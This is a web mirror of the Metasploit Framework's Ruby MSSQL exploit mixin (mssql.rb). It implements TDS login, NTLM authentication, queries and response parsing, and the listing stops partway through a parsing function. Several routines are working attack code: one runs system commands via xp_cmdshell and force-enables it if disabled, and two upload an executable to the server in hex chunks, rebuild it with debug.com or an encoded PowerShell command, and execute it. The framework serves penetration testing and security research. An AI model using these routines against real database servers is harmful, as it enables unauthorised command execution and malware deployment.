Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

mssql.rb 27KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993
  1. # -*- coding: binary -*-
  2. require 'msf/core'
  3. require 'msf/core/exploit/mssql_commands'
  4. require 'rex/proto/ntlm/crypt'
  5. require 'rex/proto/ntlm/constants'
  6. require 'rex/proto/ntlm/utils'
  7. require 'rex/proto/ntlm/exceptions'
  8. module Msf
  9. ###
  10. #
  11. # This module exposes methods for querying a remote MSSQL service
  12. #
  13. ###
  14. module Exploit::Remote::MSSQL
  15. include Exploit::Remote::MSSQL_COMMANDS
  16. include Exploit::Remote::Udp
  17. include Exploit::Remote::Tcp
  18. include Exploit::Remote::NTLM::Client
  19. #
  20. # Constants
  21. #
  22. NTLM_CRYPT = Rex::Proto::NTLM::Crypt
  23. NTLM_CONST = Rex::Proto::NTLM::Constants
  24. NTLM_UTILS = Rex::Proto::NTLM::Utils
  25. NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
  26. # Encryption
  27. ENCRYPT_OFF = 0x00 #Encryption is available but off.
  28. ENCRYPT_ON = 0x01 #Encryption is available and on.
  29. ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
  30. ENCRYPT_REQ = 0x03 #Encryption is required.
  31. # Paquet Type
  32. TYPE_SQL_BATCH = 1 # (Client) SQL command
  33. TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
  34. TYPE_RPC = 3 # (Client) RPC
  35. TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
  36. # Request Completion, Error and Info Messages, Attention Acknowledgement
  37. TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
  38. TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
  39. TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
  40. TYPE_TDS7_LOGIN = 16 # (Client) Login
  41. TYPE_SSPI_MESSAGE = 17 # (Client) Login
  42. TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
  43. # Status
  44. STATUS_NORMAL = 0x00
  45. STATUS_END_OF_MESSAGE = 0x01
  46. STATUS_IGNORE_EVENT = 0x02
  47. STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
  48. STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
  49. #
  50. # Creates an instance of a MSSQL exploit module.
  51. #
  52. def initialize(info = {})
  53. super
  54. # Register the options that all MSSQL exploits may make use of.
  55. register_options(
  56. [
  57. Opt::RHOST,
  58. Opt::RPORT(1433),
  59. OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
  60. OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
  61. OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
  62. OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentification (requires DOMAIN option set)', false]),
  63. ], Msf::Exploit::Remote::MSSQL)
  64. register_advanced_options(
  65. [
  66. OptPath.new('HEX2BINARY', [ false, "The path to the hex2binary script on the disk",
  67. File.join(Msf::Config.data_directory, "exploits", "mssql", "h2b")
  68. ]),
  69. OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION'])
  70. ], Msf::Exploit::Remote::MSSQL)
  71. register_autofilter_ports([ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ])
  72. register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
  73. end
  74. #
  75. # This method sends a UDP query packet to the server and
  76. # parses out the reply packet into a hash
  77. #
  78. def mssql_ping(timeout=5)
  79. data = { }
  80. ping_sock = Rex::Socket::Udp.create(
  81. 'PeerHost' => rhost,
  82. 'PeerPort' => 1434,
  83. 'Context' =>
  84. {
  85. 'Msf' => framework,
  86. 'MsfExploit' => self,
  87. })
  88. ping_sock.put("\x02")
  89. resp, saddr, sport = ping_sock.recvfrom(65535, timeout)
  90. ping_sock.close
  91. return data if not resp
  92. return data if resp.length == 0
  93. var = nil
  94. return mssql_ping_parse(resp)
  95. end
  96. #
  97. # Parse a 'ping' response and format as a hash
  98. #
  99. def mssql_ping_parse(data)
  100. res = []
  101. var = nil
  102. idx = data.index('ServerName')
  103. return res if not idx
  104. sdata = data[idx, (data.length - 1)]
  105. instances = sdata.split(';;')
  106. instances.each do |instance|
  107. rinst = {}
  108. instance.split(';').each do |d|
  109. if (not var)
  110. var = d
  111. else
  112. if (var.length > 0)
  113. rinst[var] = d
  114. var = nil
  115. end
  116. end
  117. end
  118. res << rinst
  119. end
  120. return res
  121. end
  122. #
  123. # Execute a system command via xp_cmdshell
  124. #
  125. def mssql_xpcmdshell(cmd,doprint=false,opts={})
  126. force_enable = false
  127. begin
  128. res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
  129. if(res[:errors] and not res[:errors].empty?)
  130. if(res[:errors].join =~ /xp_cmdshell/)
  131. if(force_enable)
  132. print_error("The xp_cmdshell procedure is not available and could not be enabled")
  133. raise RuntimeError, "Failed to execute command"
  134. else
  135. print_status("The server may have xp_cmdshell disabled, trying to enable it...")
  136. mssql_query(mssql_xpcmdshell_enable())
  137. raise RuntimeError, "xp_cmdshell disabled"
  138. end
  139. end
  140. end
  141. mssql_print_reply(res) if doprint
  142. return res
  143. rescue RuntimeError => e
  144. if(e.to_s =~ /xp_cmdshell disabled/)
  145. force_enable = true
  146. retry
  147. end
  148. raise e
  149. end
  150. end
  151. #
  152. # Upload and execute a Windows binary through MSSQL queries
  153. #
  154. def mssql_upload_exec(exe, debug=false)
  155. hex = exe.unpack("H*")[0]
  156. var_bypass = rand_text_alpha(8)
  157. var_payload = rand_text_alpha(8)
  158. print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
  159. print_status("Writing the debug.com loader to the disk...")
  160. h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
  161. h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
  162. h2b.split(/\n/).each do |line|
  163. mssql_xpcmdshell("#{line}", false)
  164. end
  165. print_status("Converting the debug script to an executable...")
  166. mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
  167. mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
  168. print_status("Uploading the payload, please be patient...")
  169. idx = 0
  170. cnt = 500
  171. while(idx < hex.length - 1)
  172. mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
  173. idx += cnt
  174. end
  175. print_status("Converting the encoded payload...")
  176. mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
  177. mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
  178. mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
  179. print_status("Executing the payload...")
  180. mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
  181. end
  182. #
  183. # Upload and execute a Windows binary through MSSQL queries and Powershell
  184. #
  185. def powershell_upload_exec(exe, debug=false)
  186. # hex converter
  187. hex = exe.unpack("H*")[0]
  188. # create random alpha 8 character names
  189. #var_bypass = rand_text_alpha(8)
  190. var_payload = rand_text_alpha(8)
  191. print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
  192. # our payload converter, grabs a hex file and converts it to binary for us through powershell
  193. h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
  194. h2b_unicode=Rex::Text.to_unicode(h2b)
  195. # base64 encode it, this allows us to perform execution through powershell without registry changes
  196. h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
  197. print_status("Uploading the payload #{var_payload}, please be patient...")
  198. idx = 0
  199. cnt = 500
  200. while(idx < hex.length - 1)
  201. mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
  202. idx += cnt
  203. end
  204. print_status("Converting the payload utilizing PowerShell EncodedCommand...")
  205. mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
  206. mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
  207. print_status("Executing the payload...")
  208. mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
  209. print_status("Be sure to cleanup #{var_payload}.exe...")
  210. end
  211. #
  212. # Send and receive using TDS
  213. #
  214. def mssql_send_recv(req, timeout=15, check_status = true)
  215. sock.put(req)
  216. # Read the 8 byte header to get the length and status
  217. # Read the length to get the data
  218. # If the status is 0, read another header and more data
  219. done = false
  220. resp = ""
  221. while(not done)
  222. head = sock.get_once(8, timeout)
  223. if !(head and head.length == 8)
  224. return false
  225. end
  226. # Is this the last buffer?
  227. if(head[1,1] == "\x01" or not check_status )
  228. done = true
  229. end
  230. # Grab this block's length
  231. rlen = head[2,2].unpack('n')[0] - 8
  232. while(rlen > 0)
  233. buff = sock.get_once(rlen, timeout)
  234. return if not buff
  235. resp << buff
  236. rlen -= buff.length
  237. end
  238. end
  239. resp
  240. end
  241. #
  242. # Encrypt a password according to the TDS protocol (encode)
  243. #
  244. def mssql_tds_encrypt(pass)
  245. # Convert to unicode, swap 4 bits both ways, xor with 0xa5
  246. Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
  247. end
  248. #
  249. #this method send a prelogin packet and check if encryption is off
  250. #
  251. def mssql_prelogin(enc_error=false)
  252. pkt = ""
  253. pkt_hdr = ""
  254. pkt_data_token = ""
  255. pkt_data = ""
  256. pkt_hdr = [
  257. TYPE_PRE_LOGIN_MESSAGE, #type
  258. STATUS_END_OF_MESSAGE, #status
  259. 0x0000, #length
  260. 0x0000, # SPID
  261. 0x00, # PacketID
  262. 0x00 #Window
  263. ]
  264. version = [0x55010008,0x0000].pack("Vv")
  265. encryption = ENCRYPT_NOT_SUP # off
  266. instoptdata = "MSSQLServer\0"
  267. threadid = "\0\0" + Rex::Text.rand_text(2)
  268. idx = 21 # size of pkt_data_token
  269. pkt_data_token << [
  270. 0x00, # Token 0 type Version
  271. idx , # VersionOffset
  272. version.length, # VersionLength
  273. 0x01, # Token 1 type Encryption
  274. idx = idx + version.length, # EncryptionOffset
  275. 0x01, # EncryptionLength
  276. 0x02, # Token 2 type InstOpt
  277. idx = idx + 1, # InstOptOffset
  278. instoptdata.length, # InstOptLength
  279. 0x03, # Token 3 type Threadid
  280. idx + instoptdata.length, # ThreadIdOffset
  281. 0x04, # ThreadIdLength
  282. 0xFF
  283. ].pack("CnnCnnCnnCnnC")
  284. pkt_data << pkt_data_token
  285. pkt_data << version
  286. pkt_data << encryption
  287. pkt_data << instoptdata
  288. pkt_data << threadid
  289. pkt_hdr[2] = pkt_data.length + 8
  290. pkt = pkt_hdr.pack("CCnnCC") + pkt_data
  291. resp = mssql_send_recv(pkt)
  292. idx = 0
  293. while resp and resp[0,1] != "\xff" and resp.length > 5
  294. token = resp.slice!(0,5)
  295. token = token.unpack("Cnn")
  296. idx -= 5
  297. if token[0] == 0x01
  298. idx += token[1]
  299. break
  300. end
  301. end
  302. if idx > 0
  303. encryption_mode = resp[idx,1].unpack("C")[0]
  304. else
  305. #force to ENCRYPT_NOT_SUP and hope for the best
  306. encryption_mode = ENCRYPT_NOT_SUP
  307. end
  308. if encryption_mode != ENCRYPT_NOT_SUP and enc_error
  309. raise RuntimeError,"Encryption is not supported"
  310. end
  311. encryption_mode
  312. end
  313. #
  314. # This method connects to the server over TCP and attempts
  315. # to authenticate with the supplied username and password
  316. # The global socket is used and left connected after auth
  317. #
  318. def mssql_login(user='sa', pass='', db='')
  319. disconnect if self.sock
  320. connect
  321. begin
  322. # Send a prelogin packet and check that encryption is not enabled
  323. if mssql_prelogin != ENCRYPT_NOT_SUP
  324. print_error('Encryption is not supported')
  325. return false
  326. end
  327. rescue EOFError
  328. print_error('Probable server or network failure')
  329. return false
  330. end
  331. if datastore['USE_WINDOWS_AUTHENT']
  332. idx = 0
  333. pkt = ''
  334. pkt_hdr = ''
  335. pkt_hdr = [
  336. TYPE_TDS7_LOGIN, #type
  337. STATUS_END_OF_MESSAGE, #status
  338. 0x0000, #length
  339. 0x0000, # SPID
  340. 0x01, # PacketID (unused upon specification
  341. # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
  342. 0x00 #Window
  343. ]
  344. pkt << [
  345. 0x00000000, # Size
  346. 0x71000001, # TDS Version
  347. 0x00000000, # Dummy Size
  348. 0x00000007, # Version
  349. rand(1024+1), # PID
  350. 0x00000000, # ConnectionID
  351. 0xe0, # Option Flags 1
  352. 0x83, # Option Flags 2
  353. 0x00, # SQL Type Flags
  354. 0x00, # Reserved Flags
  355. 0x00000000, # Time Zone
  356. 0x00000000 # Collation
  357. ].pack('VVVVVVCCCCVV')
  358. cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
  359. aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
  360. sname = Rex::Text.to_unicode( rhost )
  361. dname = Rex::Text.to_unicode( db )
  362. ntlm_options = {
  363. :signing => false,
  364. :usentlm2_session => datastore['NTLM::UseNTLM2_session'],
  365. :use_ntlmv2 => datastore['NTLM::UseNTLMv2'],
  366. :send_lm => datastore['NTLM::SendLM'],
  367. :send_ntlm => datastore['NTLM::SendNTLM']
  368. }
  369. ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
  370. workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
  371. domain_name = datastore['DOMAIN']
  372. ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
  373. idx = pkt.size + 50 # lengths below
  374. pkt << [idx, cname.length / 2].pack('vv')
  375. idx += cname.length
  376. pkt << [0, 0].pack('vv') # User length offset must be 0
  377. pkt << [0, 0].pack('vv') # Password length offset must be 0
  378. pkt << [idx, aname.length / 2].pack('vv')
  379. idx += aname.length
  380. pkt << [idx, sname.length / 2].pack('vv')
  381. idx += sname.length
  382. pkt << [0, 0].pack('vv') # unused
  383. pkt << [idx, aname.length / 2].pack('vv')
  384. idx += aname.length
  385. pkt << [idx, 0].pack('vv') # locales
  386. pkt << [idx, 0].pack('vv') #db
  387. # ClientID (should be mac address)
  388. pkt << Rex::Text.rand_text(6)
  389. # NTLMSSP
  390. pkt << [idx, ntlmsspblob.length].pack('vv')
  391. idx += ntlmsspblob.length
  392. pkt << [idx, 0].pack('vv') # AtchDBFile
  393. pkt << cname
  394. pkt << aname
  395. pkt << sname
  396. pkt << aname
  397. pkt << ntlmsspblob
  398. # Total packet length
  399. pkt[0,4] = [pkt.length].pack('V')
  400. pkt_hdr[2] = pkt.length + 8
  401. pkt = pkt_hdr.pack("CCnnCC") + pkt
  402. # Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
  403. # has a strange behavior that differs from the specifications
  404. # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
  405. # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
  406. resp = mssql_send_recv(pkt,15, false)
  407. # Get default data
  408. begin
  409. blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
  410. # a domain.length < 3 will hit this
  411. rescue NTLM_XCEPT::NTLMMissingChallenge
  412. info = {:errors => []}
  413. mssql_parse_reply(resp, info)
  414. mssql_print_reply(info)
  415. return false
  416. end
  417. challenge_key = blob_data[:challenge_key]
  418. server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
  419. #netbios name
  420. default_name = blob_data[:default_name] || ''
  421. #netbios domain
  422. default_domain = blob_data[:default_domain] || ''
  423. #dns name
  424. dns_host_name = blob_data[:dns_host_name] || ''
  425. #dns domain
  426. dns_domain_name = blob_data[:dns_domain_name] || ''
  427. #Client time
  428. chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
  429. spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
  430. resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
  431. domain_name, default_name, default_domain,
  432. dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
  433. spnopt, ntlm_options)
  434. ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
  435. # Create an SSPIMessage
  436. idx = 0
  437. pkt = ''
  438. pkt_hdr = ''
  439. pkt_hdr = [
  440. TYPE_SSPI_MESSAGE, #type
  441. STATUS_END_OF_MESSAGE, #status
  442. 0x0000, #length
  443. 0x0000, # SPID
  444. 0x01, # PacketID
  445. 0x00 #Window
  446. ]
  447. pkt_hdr[2] = ntlmssp.length + 8
  448. pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
  449. resp = mssql_send_recv(pkt)
  450. #SQL Server Authentification
  451. else
  452. idx = 0
  453. pkt = ''
  454. pkt << [
  455. 0x00000000, # Dummy size
  456. 0x71000001, # TDS Version
  457. 0x00000000, # Size
  458. 0x00000007, # Version
  459. rand(1024+1), # PID
  460. 0x00000000, # ConnectionID
  461. 0xe0, # Option Flags 1
  462. 0x03, # Option Flags 2
  463. 0x00, # SQL Type Flags
  464. 0x00, # Reserved Flags
  465. 0x00000000, # Time Zone
  466. 0x00000000 # Collation
  467. ].pack('VVVVVVCCCCVV')
  468. cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
  469. uname = Rex::Text.to_unicode( user )
  470. pname = mssql_tds_encrypt( pass )
  471. aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
  472. sname = Rex::Text.to_unicode( rhost )
  473. dname = Rex::Text.to_unicode( db )
  474. idx = pkt.size + 50 # lengths below
  475. pkt << [idx, cname.length / 2].pack('vv')
  476. idx += cname.length
  477. pkt << [idx, uname.length / 2].pack('vv')
  478. idx += uname.length
  479. pkt << [idx, pname.length / 2].pack('vv')
  480. idx += pname.length
  481. pkt << [idx, aname.length / 2].pack('vv')
  482. idx += aname.length
  483. pkt << [idx, sname.length / 2].pack('vv')
  484. idx += sname.length
  485. pkt << [0, 0].pack('vv')
  486. pkt << [idx, aname.length / 2].pack('vv')
  487. idx += aname.length
  488. pkt << [idx, 0].pack('vv')
  489. pkt << [idx, dname.length / 2].pack('vv')
  490. idx += dname.length
  491. # The total length has to be embedded twice more here
  492. pkt << [
  493. 0,
  494. 0,
  495. 0x12345678,
  496. 0x12345678
  497. ].pack('vVVV')
  498. pkt << cname
  499. pkt << uname
  500. pkt << pname
  501. pkt << aname
  502. pkt << sname
  503. pkt << aname
  504. pkt << dname
  505. # Total packet length
  506. pkt[0,4] = [pkt.length].pack('V')
  507. # Embedded packet lengths
  508. pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
  509. # Packet header and total length including header
  510. pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
  511. begin
  512. resp = mssql_send_recv(pkt)
  513. rescue EOFError
  514. print_error('Probable server or network failure')
  515. return false
  516. end
  517. end
  518. info = {:errors => []}
  519. info = mssql_parse_reply(resp,info)
  520. return false if not info
  521. info[:login_ack] ? true : false
  522. end
  523. #
  524. # Login to the SQL server using the standard USERNAME/PASSWORD options
  525. #
  526. def mssql_login_datastore(db='')
  527. mssql_login(datastore['USERNAME'], datastore['PASSWORD'], db)
  528. end
  529. #
  530. # Issue a SQL query using the TDS protocol
  531. #
  532. def mssql_query(sqla, doprint=false, opts={})
  533. info = { :sql => sqla }
  534. opts[:timeout] ||= 15
  535. pkts = []
  536. idx = 0
  537. bsize = 4096 - 8
  538. chan = 0
  539. @cnt ||= 0
  540. @cnt += 1
  541. sql = Rex::Text.to_unicode(sqla)
  542. while(idx < sql.length)
  543. buf = sql[idx, bsize]
  544. flg = buf.length < bsize ? "\x01" : "\x00"
  545. pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
  546. idx += bsize
  547. end
  548. resp = mssql_send_recv(pkts.join, opts[:timeout])
  549. mssql_parse_reply(resp, info)
  550. mssql_print_reply(info) if doprint
  551. info
  552. end
  553. #
  554. # Nicely print the results of a SQL query
  555. #
  556. def mssql_print_reply(info)
  557. print_status("SQL Query: #{info[:sql]}")
  558. if(info[:done] and info[:done][:rows].to_i > 0)
  559. print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
  560. end
  561. if(info[:errors] and not info[:errors].empty?)
  562. info[:errors].each do |err|
  563. print_error(err)
  564. end
  565. end
  566. if(info[:rows] and not info[:rows].empty?)
  567. tbl = Rex::Text::Table.new(
  568. 'Indent' => 1,
  569. 'Header' => "",
  570. 'Columns' => info[:colnames],
  571. 'SortIndex' => -1
  572. )
  573. info[:rows].each do |row|
  574. tbl << row
  575. end
  576. print_line(tbl.to_s)
  577. end
  578. end
  579. #
  580. # Parse a raw TDS reply from the server
  581. #
  582. def mssql_parse_tds_reply(data, info)
  583. info[:errors] ||= []
  584. info[:colinfos] ||= []
  585. info[:colnames] ||= []
  586. # Parse out the columns
  587. cols = data.slice!(0,2).unpack('v')[0]
  588. 0.upto(cols-1) do |col_idx|
  589. col = {}
  590. info[:colinfos][col_idx] = col
  591. col[:utype] = data.slice!(0,2).unpack('v')[0]
  592. col[:flags] = data.slice!(0,2).unpack('v')[0]
  593. col[:type] = data.slice!(0,1).unpack('C')[0]
  594. case col[:type]
  595. when 48
  596. col[:id] = :tinyint
  597. when 52
  598. col[:id] = :smallint
  599. when 56
  600. col[:id] = :rawint
  601. when 61
  602. col[:id] = :datetime
  603. when 34
  604. col[:id] = :image
  605. col[:max_size] = data.slice!(0,4).unpack('V')[0]
  606. col[:value_length] = data.slice!(0,2).unpack('v')[0]
  607. col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
  608. when 36
  609. col[:id] = :string
  610. when 38
  611. col[:id] = :int
  612. col[:int_size] = data.slice!(0,1).unpack('C')[0]
  613. when 127
  614. col[:id] = :bigint
  615. when 165
  616. col[:id] = :hex
  617. col[:max_size] = data.slice!(0,2).unpack('v')[0]
  618. when 173
  619. col[:id] = :hex # binary(2)
  620. col[:max_size] = data.slice!(0,2).unpack('v')[0]
  621. when 231,175,167,239
  622. col[:id] = :string
  623. col[:max_size] = data.slice!(0,2).unpack('v')[0]
  624. col[:codepage] = data.slice!(0,2).unpack('v')[0]
  625. col[:cflags] = data.slice!(0,2).unpack('v')[0]
  626. col[:charset_id] = data.slice!(0,1).unpack('C')[0]
  627. else
  628. col[:id] = :unknown
  629. end
  630. col[:msg_len] = data.slice!(0,1).unpack('C')[0]
  631. if(col[:msg_len] and col[:msg_len] > 0)
  632. col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
  633. end
  634. info[:colnames] << (col[:name] || 'NULL')
  635. end
  636. end
  637. #
  638. # Parse individual tokens from a TDS reply
  639. #
  640. def mssql_parse_reply(data, info)
  641. info[:errors] = []
  642. return if not data
  643. until data.empty?
  644. token = data.slice!(0,1).unpack('C')[0]
  645. case token
  646. when 0x81
  647. mssql_parse_tds_reply(data, info)
  648. when 0xd1
  649. mssql_parse_tds_row(data, info)
  650. when 0xe3
  651. mssql_parse_env(data, info)
  652. when 0x79
  653. mssql_parse_ret(data, info)
  654. when 0xfd, 0xfe, 0xff
  655. mssql_parse_done(data, info)
  656. when 0xad
  657. mssql_parse_login_ack(data, info)
  658. when 0xab
  659. mssql_parse_info(data, info)
  660. when 0xaa
  661. mssql_parse_error(data, info)
  662. when nil
  663. break
  664. else
  665. info[:errors] << "unsupported token: #{token}"
  666. end
  667. end
  668. info
  669. end
  670. #
  671. # Parse a single row of a TDS reply
  672. #
  673. def mssql_parse_tds_row(data, info)
  674. info[:rows] ||= []
  675. row = []
  676. info[:colinfos].each do |col|
  677. if(data.length == 0)
  678. row << "<EMPTY>"
  679. next
  680. end
  681. case col[:id]
  682. when :hex
  683. str = ""
  684. len = data.slice!(0,2).unpack('v')[0]
  685. if(len > 0 and len < 65535)
  686. str << data.slice!(0,len)
  687. end
  688. row << str.unpack("H*")[0]
  689. when :string
  690. str = ""
  691. len = data.slice!(0,2).unpack('v')[0]
  692. if(len > 0 and len < 65535)
  693. str << data.slice!(0,len)
  694. end
  695. row << str.gsub("\x00", '')
  696. when :datetime
  697. row << data.slice!(0,8).unpack("H*")[0]
  698. when :rawint
  699. row << data.slice!(0,4).unpack('V')[0]
  700. when :bigint
  701. row << data.slice!(0,8).unpack("H*")[0]
  702. when :smallint
  703. row << data.slice!(0, 2).unpack("v")[0]
  704. when :smallint3
  705. row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
  706. when :tinyint
  707. row << data.slice!(0, 1).unpack("C")[0]
  708. when :image
  709. str = ''
  710. len = data.slice!(0,1).unpack('C')[0]
  711. str = data.slice!(0,len) if (len and len > 0)
  712. row << str.unpack("H*")[0]
  713. when :int
  714. len = data.slice!(0, 1).unpack("C")[0]
  715. raw = data.slice!(0, len) if (len and len > 0)
  716. case len
  717. when 0,255
  718. row << ''
  719. when 1
  720. row << raw.unpack("C")[0]
  721. when 2
  722. row << raw.unpack('v')[0]
  723. when 4
  724. row << raw.unpack('V')[0]
  725. when 5
  726. row << raw.unpack('V')[0] # XXX: missing high byte
  727. when 8
  728. row << raw.unpack('VV')[0] # XXX: missing high dword
  729. else
  730. info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
  731. end
  732. else
  733. info[:errors] << "unknown column type: #{col.inspect}"
  734. end
  735. end
  736. info[:rows] << row
  737. info
  738. end
  739. #
  740. # Parse a "ret" TDS token
  741. #
  742. def mssql_parse_ret(data, info)
  743. ret = data.slice!(0,4).unpack('N')[0]
  744. info[:ret] = ret
  745. info
  746. end
  747. #
  748. # Parse a "done" TDS token
  749. #
  750. def mssql_parse_done(data, info)
  751. status,cmd,rows = data.slice!(0,8).unpack('vvV')
  752. info[:done] = { :status => status, :cmd => cmd, :rows => rows }
  753. info
  754. end
  755. #
  756. # Parse an "error" TDS token
  757. #
  758. def mssql_parse_error(data, info)
  759. len = data.slice!(0,2).unpack('v')[0]
  760. buff = data.slice!(0,len)
  761. errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
  762. emsg = buff.slice!(0,elen * 2)
  763. emsg.gsub!("\x00", '')
  764. info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
  765. info
  766. end
  767. #
  768. # Parse an "environment change" TDS token
  769. #
  770. def mssql_parse_env(data, info)
  771. len = data.slice!(0,2).unpack('v')[0]
  772. buff = data.slice!(0,len)
  773. type = buff.slice!(0,1).unpack('C')[0]
  774. nval = ''
  775. nlen = buff.slice!(0,1).unpack('C')[0] || 0
  776. nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
  777. oval = ''
  778. olen = buff.slice!(0,1).unpack('C')[0] || 0
  779. oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
  780. info[:envs] ||= []
